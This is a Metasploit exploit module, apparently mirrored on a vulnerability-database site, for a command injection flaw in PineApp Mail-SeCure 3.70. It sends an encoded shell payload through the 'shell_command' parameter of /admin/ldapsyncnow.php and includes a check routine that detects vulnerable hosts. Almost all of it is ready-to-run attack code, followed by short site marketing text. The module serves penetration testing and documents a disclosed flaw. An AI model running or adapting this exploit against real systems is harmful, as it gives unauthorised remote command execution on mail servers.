##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on PineApp Mail-SeCure
3.70. The vulnerability exists on the ldapsyncnow.php component, due to the insecure
usage of the shell_exec() php function. This module has been tested successfully
on PineApp Mail-SeCure 3.70.
},
'Author' =>
[
'Dave Weinstein', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'ZDI', '13-185' ],
[ 'OSVDB', '95781' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python telnet'
}
},
'Targets' =>
[
[ 'PineApp Mail-SeCure 3.70', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2013-07-26'
))
register_options(
[
Opt::RPORT(7443)
],
self.class
)
end
def my_uri
return normalize_uri("/admin/ldapsyncnow.php")
end
def check
# Since atm of writing this exploit there isn't patch available,
# checking for the vulnerable component should be a reliable test.
res = send_request_cgi({
'uri' => my_uri,
'vars_get' => {
'sync_now' =>'1'
}
})
if res and res.code == 200 and res.body =~ /window\.setTimeout\('loaded\(\)', 2500\);/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("#{rhost}:#{rport} - Executing payload...")
send_request_cgi({
'uri' => my_uri,
'vars_get' => {
'sync_now' =>'1', # must be 1 in order to trigger the vulnerability
'shell_command' => payload.encoded
}
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation